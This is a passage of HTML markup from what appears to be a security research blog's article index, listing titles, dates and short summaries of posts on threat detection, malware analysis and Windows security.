text-zinc-400">Wi-Fi cameras are popular due to their affordability and convenience but often have security vulnerabilities that can be exploited.</p></div></a><a href="/security-labs/dprk-code-of-conduct"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Code of Conduct: DPRK’s Python-fueled intrusions into secured networks" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdprk-code-of-conduct%2Fdprk-code-of-conduct.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdprk-code-of-conduct%2Fdprk-code-of-conduct.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdprk-code-of-conduct%2Fdprk-code-of-conduct.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">18 September 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Code of Conduct: DPRK’s Python-fueled intrusions into secured networks</h3><p class="text-sm text-zinc-400">Investigating the DPRK’s strategic use of Python and carefully crafted social engineering, this publication sheds light on how they breach highly secure networks with evolving and effective cyber attacks.</p></div></a><a href="/security-labs/dismantling-smart-app-control"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Dismantling Smart App Control" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdismantling-smart-app-control%2FSecurity%20Labs%20Images%2019.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdismantling-smart-app-control%2FSecurity%20Labs%20Images%2019.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdismantling-smart-app-control%2FSecurity%20Labs%20Images%2019.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">6 August 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Dismantling Smart App Control</h3><p class="text-sm text-zinc-400">This article will explore Windows Smart App Control and SmartScreen as a case study for researching bypasses to reputation-based systems, then demonstrate detections to cover those weaknesses.</p></div></a><a href="/security-labs/false-file-immutability"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Introducing a New Vulnerability Class: False File Immutability" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ffalse-file-immutability%2FSecurity%20Labs%20Images%2036.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ffalse-file-immutability%2FSecurity%20Labs%20Images%2036.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Ffalse-file-immutability%2FSecurity%20Labs%20Images%2036.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">11 July 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Introducing a New Vulnerability Class: False File Immutability</h3><p class="text-sm text-zinc-400">This article introduces a previously-unnamed class of Windows vulnerability that demonstrates the dangers of assumption and describes some unintended security consequences.</p></div></a><a href="/security-labs/protecting-your-devices-from-information-theft-keylogger-protection-jp"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="情報窃取から端末を守る" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fprotecting-your-devices-from-information-theft-keylogger-protection-jp%2FSecurity%20Labs%20Images%2010.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fprotecting-your-devices-from-information-theft-keylogger-protection-jp%2FSecurity%20Labs%20Images%2010.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fprotecting-your-devices-from-information-theft-keylogger-protection-jp%2FSecurity%20Labs%20Images%2010.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">30 May 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">情報窃取から端末を守る</h3><p class="text-sm text-zinc-400">本記事ではElastic Securityにおいて、エンドポイント保護を担っているElastic Defendに今年(バージョン8.12より)新たに追加された、キーロガーおよびキーロギング検出機能について紹介します。</p></div></a><a href="/security-labs/protecting-your-devices-from-information-theft-keylogger-protection"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Protecting your devices from information theft" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fprotecting-your-devices-from-information-theft-keylogger-protection%2FSecurity%20Labs%20Images%2010.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fprotecting-your-devices-from-information-theft-keylogger-protection%2FSecurity%20Labs%20Images%2010.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fprotecting-your-devices-from-information-theft-keylogger-protection%2FSecurity%20Labs%20Images%2010.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">30 May 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Protecting your devices from information theft</h3><p class="text-sm text-zinc-400">In this article, we will introduce the keylogger and keylogging detection features added this year to Elastic Defend (starting from version 8.12), which is responsible for endpoint protection in Elastic Security.</p></div></a><a href="/security-labs/500ms-to-midnight"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="500ms to midnight: XZ A.K.A. liblzma backdoor" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2F500ms-to-midnight%2F500ms-to-midnight.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2F500ms-to-midnight%2F500ms-to-midnight.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2F500ms-to-midnight%2F500ms-to-midnight.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">5 April 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">500ms to midnight: XZ A.K.A. liblzma backdoor</h3><p class="text-sm text-zinc-400">Elastic Security Labs is releasing an initial analysis of the XZ Utility backdoor, including YARA rules, osquery, and KQL searches to identify potential compromises.</p></div></a><a href="/security-labs/unveiling-malware-behavior-trends"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Unveiling malware behavior trends" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Funveiling-malware-behavior-trends%2FSecurity%20Labs%20Images%2020.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Funveiling-malware-behavior-trends%2FSecurity%20Labs%20Images%2020.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Funveiling-malware-behavior-trends%2FSecurity%20Labs%20Images%2020.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">20 March 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Unveiling malware behavior trends</h3><p class="text-sm text-zinc-400">An analysis of a diverse dataset of Windows malware extracted from more than 100,000 samples revealing insights into the most prevalent tactics, techniques, and procedures.</p></div></a><a href="/security-labs/monitoring-okta-threats-with-elastic-security"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Monitoring Okta threats with Elastic Security" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fmonitoring-okta-threats-with-elastic-security%2Fphoto-edited-03.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fmonitoring-okta-threats-with-elastic-security%2Fphoto-edited-03.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fmonitoring-okta-threats-with-elastic-security%2Fphoto-edited-03.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">23 February 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Monitoring Okta threats with Elastic Security</h3><p class="text-sm text-zinc-400">This article guides readers through establishing an Okta threat detection lab, emphasizing the importance of securing SaaS platforms like Okta. It details creating a lab environment with the Elastic Stack, integrating SIEM solutions, and Okta.</p></div></a><a href="/security-labs/ransomware-in-the-honeypot-how-we-capture-keys"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Ransomware in the honeypot: how we capture keys with sticky canary files" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fransomware-in-the-honeypot-how-we-capture-keys%2Fphoto-edited-07.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fransomware-in-the-honeypot-how-we-capture-keys%2Fphoto-edited-07.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fransomware-in-the-honeypot-how-we-capture-keys%2Fphoto-edited-07.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">23 February 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Ransomware in the honeypot: how we capture keys with sticky canary files</h3><p class="text-sm text-zinc-400">This article describes the process of capturing encryption keys from ransomware using Elastic Defend ransomware protection.</p></div></a><a href="/security-labs/starter-guide-to-understanding-okta"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Starter guide to understanding Okta" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fstarter-guide-to-understanding-okta%2Fphoto-edited-09.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fstarter-guide-to-understanding-okta%2Fphoto-edited-09.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fstarter-guide-to-understanding-okta%2Fphoto-edited-09.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">23 January 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Starter guide to understanding Okta</h3><p class="text-sm text-zinc-400">This article delves into Okta's architecture and services, laying a solid foundation for threat research and detection engineering. Essential reading for those aiming to master threat hunting and detection in Okta environments.</p></div></a><a href="/security-labs/doubling-down-etw-callstacks"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Doubling Down: Detecting In-Memory Threats with Kernel ETW Call Stacks" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdoubling-down-etw-callstacks%2Fphoto-edited-01.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdoubling-down-etw-callstacks%2Fphoto-edited-01.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdoubling-down-etw-callstacks%2Fphoto-edited-01.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">9 January 2024</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Doubling Down: Detecting In-Memory Threats with Kernel ETW Call Stacks</h3><p class="text-sm text-zinc-400">With Elastic Security 8.11, we added further kernel telemetry call stack-based detections to increase efficacy against in-memory threats.</p></div></a><a href="/security-labs/google-cloud-for-cyber-data-analytics"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Google Cloud for Cyber Data Analytics" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgoogle-cloud-for-cyber-data-analytics%2Fphoto-edited-12.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgoogle-cloud-for-cyber-data-analytics%2Fphoto-edited-12.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgoogle-cloud-for-cyber-data-analytics%2Fphoto-edited-12.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">14 December 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Google Cloud for Cyber Data Analytics</h3><p class="text-sm text-zinc-400">This article explains how we conduct comprehensive cyber threat data analysis using Google Cloud, from data extraction and preprocessing to trend analysis and presentation. It emphasizes the value of BigQuery, Python, and Google Sheets - showcasing how to refine and visualize data for insightful cybersecurity analysis.</p></div></a><a href="/security-labs/signaling-from-within-how-ebpf-interacts-with-signals"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Signaling from within: how eBPF interacts with signals" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fsignaling-from-within-how-ebpf-interacts-with-signals%2Fphoto-edited-09%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fsignaling-from-within-how-ebpf-interacts-with-signals%2Fphoto-edited-09%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fsignaling-from-within-how-ebpf-interacts-with-signals%2Fphoto-edited-09%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">28 November 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Signaling from within: how eBPF interacts with signals</h3><p class="text-sm text-zinc-400">This article explores some of the semantics of UNIX signals when generated from an eBPF program.</p></div></a><a href="/security-labs/streamlining-esql-query-and-rule-validation"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Streamlining ES|QL Query and Rule Validation: Integrating with GitHub CI" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fstreamlining-esql-query-and-rule-validation%2Fphoto-edited-01.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fstreamlining-esql-query-and-rule-validation%2Fphoto-edited-01.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fstreamlining-esql-query-and-rule-validation%2Fphoto-edited-01.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">17 November 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Streamlining ES|QL Query and Rule Validation: Integrating with GitHub CI</h3><p class="text-sm text-zinc-400">ES|QL is Elastic's new piped query language. Taking full advantage of this new feature, Elastic Security Labs walks through how to run validation of ES|QL rules for the Detection Engine.</p></div></a><a href="/security-labs/disclosing-the-bloodalchemy-backdoor"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Disclosing the BLOODALCHEMY backdoor" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdisclosing-the-bloodalchemy-backdoor%2Fphoto-edited-05%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdisclosing-the-bloodalchemy-backdoor%2Fphoto-edited-05%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fdisclosing-the-bloodalchemy-backdoor%2Fphoto-edited-05%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">13 October 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Disclosing the BLOODALCHEMY backdoor</h3><p class="text-sm text-zinc-400">BLOODALCHEMY is a new, actively developed, backdoor that leverages a benign binary as an injection vehicle, and is a part of the REF5961 intrusion set.</p></div></a><a href="/security-labs/introducing-the-ref5961-intrusion-set"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Introducing the REF5961 intrusion set" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fintroducing-the-ref5961-intrusion-set%2Fphoto-edited-08%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fintroducing-the-ref5961-intrusion-set%2Fphoto-edited-08%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fintroducing-the-ref5961-intrusion-set%2Fphoto-edited-08%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">4 October 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Introducing the REF5961 intrusion set</h3><p class="text-sm text-zinc-400">The REF5961 intrusion set discloses three new malware families targeting ASEAN members. The threat actor leveraging this intrusion set continues to develop and mature their capabilities.</p></div></a><a href="/security-labs/inside-microsofts-plan-to-kill-pplfault"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Inside Microsoft's plan to kill PPLFault" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Finside-microsofts-plan-to-kill-pplfault%2Fphoto-edited-04%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Finside-microsofts-plan-to-kill-pplfault%2Fphoto-edited-04%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Finside-microsofts-plan-to-kill-pplfault%2Fphoto-edited-04%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">15 September 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Inside Microsoft's plan to kill PPLFault</h3><p class="text-sm text-zinc-400">In this research publication, we'll learn about upcoming improvements to the Windows Code Integrity subsystem that will make it harder for malware to tamper with Anti-Malware processes and other important security features.</p></div></a><a href="/security-labs/peeling-back-the-curtain-with-call-stacks"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Peeling back the curtain with call stacks" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fpeeling-back-the-curtain-with-call-stacks%2Fphoto-edited-10%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fpeeling-back-the-curtain-with-call-stacks%2Fphoto-edited-10%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fpeeling-back-the-curtain-with-call-stacks%2Fphoto-edited-10%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">13 September 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Peeling back the curtain with call stacks</h3><p class="text-sm text-zinc-400">In this article, we'll show you how we contextualize rules and events, and how you can leverage call stacks to better understand any alerts you encounter in your environment.</p></div></a><a href="/security-labs/into-the-weeds-how-we-run-detonate"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Into The Weeds: How We Run Detonate" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Finto-the-weeds-how-we-run-detonate%2Fphoto-edited-02%402x.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Finto-the-weeds-how-we-run-detonate%2Fphoto-edited-02%402x.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Finto-the-weeds-how-we-run-detonate%2Fphoto-edited-02%402x.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">13 June 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Into The Weeds: How We Run Detonate</h3><p class="text-sm text-zinc-400">Explore the technical implementation of the Detonate system, including sandbox creation, the supporting technology, telemetry collection, and how to blow stuff up.</p></div></a><a href="/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Upping the Ante: Detecting In-Memory Threats with Kernel Call Stacks" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fupping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks%2Fblog-thumb-coin-stacks.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fupping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks%2Fblog-thumb-coin-stacks.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fupping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks%2Fblog-thumb-coin-stacks.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">31 May 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Upping the Ante: Detecting In-Memory Threats with Kernel Call Stacks</h3><p class="text-sm text-zinc-400">We aim to out-innovate adversaries and maintain protections against the cutting edge of attacker tradecraft. With Elastic Security 8.8, we added new kernel call stack based detections which provide us with improved efficacy against in-memory threats.</p></div></a><a href="/security-labs/click-click-boom-automating-protections-testing-with-detonate"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Click, Click… Boom! Automating Protections Testing with Detonate" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fclick-click-boom-automating-protections-testing-with-detonate%2Fblog-thumb-tools-various.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fclick-click-boom-automating-protections-testing-with-detonate%2Fblog-thumb-tools-various.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fclick-click-boom-automating-protections-testing-with-detonate%2Fblog-thumb-tools-various.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">4 May 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Click, Click… Boom! Automating Protections Testing with Detonate</h3><p class="text-sm text-zinc-400">To automate this process and test our protections at scale, we built Detonate, a system that is used by security research engineers to measure the efficacy of our Elastic Security solution in an automated fashion.</p></div></a><a href="/security-labs/exploring-applications-of-chatgpt-to-improve-detection-response-and-understanding"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Exploring the Future of Security with ChatGPT" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fexploring-applications-of-chatgpt-to-improve-detection-response-and-understanding%2Fblog-elastic-train.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fexploring-applications-of-chatgpt-to-improve-detection-response-and-understanding%2Fblog-elastic-train.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fexploring-applications-of-chatgpt-to-improve-detection-response-and-understanding%2Fblog-elastic-train.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">24 April 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Exploring the Future of Security with ChatGPT</h3><p class="text-sm text-zinc-400">Recently, OpenAI announced APIs for engineers to integrate ChatGPT and Whisper models into their apps and products. For some time, engineers could use the REST API calls for older models and otherwise use the ChatGPT interface through their website.</p></div></a><a href="/security-labs/gtr-multipart-series-overview"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Elastic Global Threat Report Multipart Series Overview" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgtr-multipart-series-overview%2Fgtr-blog-image-720x420.png&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgtr-multipart-series-overview%2Fgtr-blog-image-720x420.png&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Fgtr-multipart-series-overview%2Fgtr-blog-image-720x420.png&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">24 April 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Elastic Global Threat Report Multipart Series Overview</h3><p class="text-sm text-zinc-400">Each month, the Elastic Security Labs team dissects a different trend or correlation from the Elastic Global Threat Report. This post provides an overview of those individual publications.</p></div></a><a href="/security-labs/effective-parenting-detecting-lrpc-based-parent-pid-spoofing"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Effective Parenting - detecting LRPC-based parent PID spoofing" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" srcSet="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Feffective-parenting-detecting-lrpc-based-parent-pid-spoofing%2Fblog-thumb-sorting-colors.jpg&w=640&q=75 1x, /security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Feffective-parenting-detecting-lrpc-based-parent-pid-spoofing%2Fblog-thumb-sorting-colors.jpg&w=828&q=75 2x" src="/security-labs/_next/image?url=%2Fsecurity-labs%2Fassets%2Fimages%2Feffective-parenting-detecting-lrpc-based-parent-pid-spoofing%2Fblog-thumb-sorting-colors.jpg&w=828&q=75"/><div class="absolute border border-white/50 inset-0 mix-blend-overlay rounded-lg z-10"></div></div><time class="mb-2 mt-5 eyebrow">29 March 2023</time><h3 class="font-bold leading-tight text-xl md:text-3xl mb-2">Effective Parenting - detecting LRPC-based parent PID spoofing</h3><p class="text-sm text-zinc-400">Using process creation as a case study, this research will outline the evasion-detection arms race to date, describe the weaknesses in some current detection approaches and then follow the quest for a generic approach to LRPC-based evasion.</p></div></a><a href="/security-labs/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion"><div class="flex flex-col space-4"><div class="relative w-full rounded-lg overflow-hidden"><img alt="Hunting for Suspicious Windows Libraries for Execution and Defense Evasion" loading="lazy" width="400" height="300" decoding="async" data-nimg="1" class="object-cover" style="color:transparent" 